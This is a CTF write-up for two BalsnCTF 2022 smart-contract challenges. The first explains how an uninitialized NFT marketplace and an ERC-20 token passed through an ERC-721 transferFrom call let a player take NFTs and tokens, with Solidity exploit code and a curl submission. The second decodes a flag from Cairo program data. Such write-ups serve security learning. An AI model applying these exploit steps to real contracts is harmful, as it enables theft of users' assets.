BalsnCTF 2022 Smart Contract Challenges Writeup

Table of Contents

• NFT Marketplace
• Cairo Reverse

NFT Marketplace

Full Exploit Code

The goal of this challenge is to execute the verify function of the NFT marketplace and emit the GetFlag event.

To prevent the revert of the verify function of the NFT marketplace, the following three require statement conditions need to be satisfied.

function verify() public {
    require(nmToken.balanceOf(address(this)) == 0, "failed");
    require(nmToken.balanceOf(msg.sender) > 1000000, "failed");
    require(
        rareNFT.ownerOf(1) == msg.sender && rareNFT.ownerOf(2) == msg.sender && rareNFT.ownerOf(3) == msg.sender
            && rareNFT.ownerOf(4) == msg.sender
    );
    emit GetFlag(true);
}

Conditions

1. Reduce the NM Token balance of the NFT marketplace to 0.
2. Make the NM Token balance of msg.sender greater than 1000000.
3. Own all Rare NFTs with tokenId of 1,2,3, and 4 to msg.sender.

The following two vulnerabilities can be used to satisfy these conditions.

• Functions executable in an uninitialized state
• Transfer of ERC-20 tokens via _safeTransferFrom for ERC-721 tokens

Functions executable in an uninitialized state

The initialize function of the NFT marketplace can be executed once at any time, and the createOrder function can be executed before that initialize function is executed. The _safeTransferFrom function used in createOrder is implemented as follows.

function _safeTransferFrom(address token, address from, address to, uint256 tokenId) internal {
    bool success;
    bytes memory data;

    assembly {
        // we'll write our calldata to this slot below, but restore it later
        let memPointer := mload(0x40)
        // write the abi-encoded calldata into memory, beginning with the function selector
        mstore(0, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
        mstore(4, from) // append the 'from' argument
        mstore(36, to) // append the 'to' argument
        mstore(68, tokenId) // append the 'tokenId' argument

        success :=
            and(
                // set success to whether the call reverted, if not we check it either
                // returned exactly 1 (can't just be non-zero data), or had no return data
                or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())),
                // we use 100 because that's the total length of our calldata (4 + 32 * 3)
                // - counterintuitively, this call() must be positioned after the or() in the
                // surrounding and() because and() evaluates its arguments from right to left
                call(gas(), token, 0, 0, 100, 0, 32)
            )
        data := returndatasize()

        mstore(0x60, 0) // restore the zero slot to zero
        mstore(0x40, memPointer) // restore the memPointer
    }
    if (!success) {
        revert TransferFromFailed();
    }
}

It uses the call opcode internally, but if the target address called by the call opcode is an EOA, the call always succeeds. Any createOrder can be executed for any EOA without the Rare NFT transfer if it is before the initialize function is executed.

This vulnerability can be exploited to take away an NFT by performing the following steps.

1. Execute the createOrder function of an NFT you do not own to the address of the undeployed Rare NFT contract.
2. Execute the initialize function.
3. Execute the cancelOrder function for the order created in step 1.

The address of the Rare NFT contract can be pre-computed as follows because the create2 opcode is used.

library Create2 {
    function getAddress(address creator, bytes32 salt, bytes memory bytecode, bytes memory encodedArgs) internal pure returns(address) {
        return address(uint160(uint256(keccak256(
            abi.encodePacked(bytes1(0xff), creator, salt, keccak256(abi.encodePacked(bytecode, encodedArgs)))
        ))));
    }
}

address rareNFTAddress = Create2.getAddress(
    address(nftMarketplace),
    keccak256("rareNFT"),
    nftMarketplace.getNFTVersion(),
    abi.encode("Rare NFT", "rareNFT")
);

The following code can take away Rare NFTs whose tokenId is 1, 2, and 3.

uint256 orderId = nftMarketplace.createOrder(rareNFTAddress, 1, 0);
nftMarketplace.createOrder(rareNFTAddress, 2, 0);
nftMarketplace.createOrder(rareNFTAddress, 3, 0);
nftMarketplace.initialize();
nftMarketplace.cancelOrder(orderId);
nftMarketplace.cancelOrder(orderId + 1);
nftMarketplace.cancelOrder(orderId + 2);

Transfer of ERC-20 tokens via safeTransferFrom for ERC-721 tokens

To take away the NM Token, an ERC-20 token, use the fulfillTest function.

function fulfillTest(address token, uint256 tokenId, uint256 price) public {
    require(!tested, "Tested");
    tested = true;
    uint256 orderId = NFTMarketplace(this).createOrder(token, tokenId, price);
    fulfill(orderId);
}

This function can do two things.

• Although we have already got Rare NFTs, get them by specifying 1, 2, or 3 in tokenId.
• Set token to a non-NFT token address. For example, the NM Token or our custom token.

Actually, if token is set to the address of the NM Token and tokenId is set to its amount, it is possible to transfer the NM Tokens from the NFT marketplace to the player by the amount of the NM Token. For example, think about how nftMarketplace.fulfillTest(address(nftMarketplace.nmToken()), 1000000, 0); will be executed.

In the createOrder function, the following procedures are executed.

• orders.push(Order(<nftMarketplace address>, <nmToken address>, 1000000, 0))
• _safeTransferFrom(<nmToken address>, <nftMarketplace address>, <nftMarketplace address>, 1000000)

In the fulfill function, the following procedures are executed.

• _safeTransferFrom(<nmToken address>, <nftMarketplace address>, <player addrses>, 1000000);

In the _safeTransferFrom function, the function with its function selector 0x23b872dd is called for the target address. The function signature is _transferFrom(address,address,uint256).

$ cast 4 0x23b872dd
transferFrom(address,address,uint256)

A function with this function signature exists not only in ERC-721 tokens but also in ERC-20 tokens, which can be executed without _safeTransferFrom revert.

The tranferFrom function of the ERC-721 token:

function transferFrom(
    address from,
    address to,
    uint256 tokenId
) public virtual override {
    //solhint-disable-next-line max-line-length
    require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner or approved");

    _transfer(from, to, tokenId);
}

The tranferFrom function of the ERC-20 token:

function transferFrom(
    address from,
    address to,
    uint256 amount
) public virtual override returns (bool) {
    address spender = _msgSender();
    _spendAllowance(from, spender, amount);
    _transfer(from, to, amount);
    return true;
}

Therefore, all the NM Tokens that the NFT marketplace has can be taken away, and all the conditions to clear this challenge can be satisfied.

The following commands get the flag.

BYTECODE=$(forge inspect src/BalsnCTF2022/NFTMarketplace/Exploit.sol:Exploit bytecode)
curl -v http://nft-marketplace.balsnctf.com:3000/exploit -X POST --header "Content-Type: application/json" -d "{\"bytecode\": \"$BYTECODE\"}"

Flag: BALSN{safeTransferFrom_ERC20_to_ERC721}

Cairo Reverse

Full Exploit Code

t is included in the program of the contract.

...
    "program": {
        "attributes": [],
        "builtins": [
            "pedersen",
            "range_check"
        ],
        "data": [
            "0x482680017ffd8000",
            "0x800000000000010fffffffffffffffffffffffffffe2919e3d696087d12173e",
            "0x20680017fff7fff",
            "0x9",
            "0x484a7ffd7ffd8000",
            "0x480a7ffa7fff8000",
            "0x480a7ffb7fff8000",
            "0x480a7ffc7fff8000",
            "0x482480017ffc8000",
            "0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4",
            "0x208b7fff7fff7ffe",
            "0x480a7ffa7fff8000",
            "0x480a7ffb7fff8000",
            "0x480a7ffc7fff8000",
            "0x480680017fff8000",
...

Decode t from the felt type.

from Crypto.Util.number import long_to_bytes

x = 0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4
y = 0x800000000000010fffffffffffffffffffffffffffe2919e3d696087d12173e
p = 0x800000000000011000000000000000000000000000000000000000000000001
t = y - p

flag = long_to_bytes(x + t ** 2)
print(flag)

Flag: BALSN{read_data_from_cairo}

原文始发于GitHub：BalsnCTF 2022 Smart Contract Challenges Writeup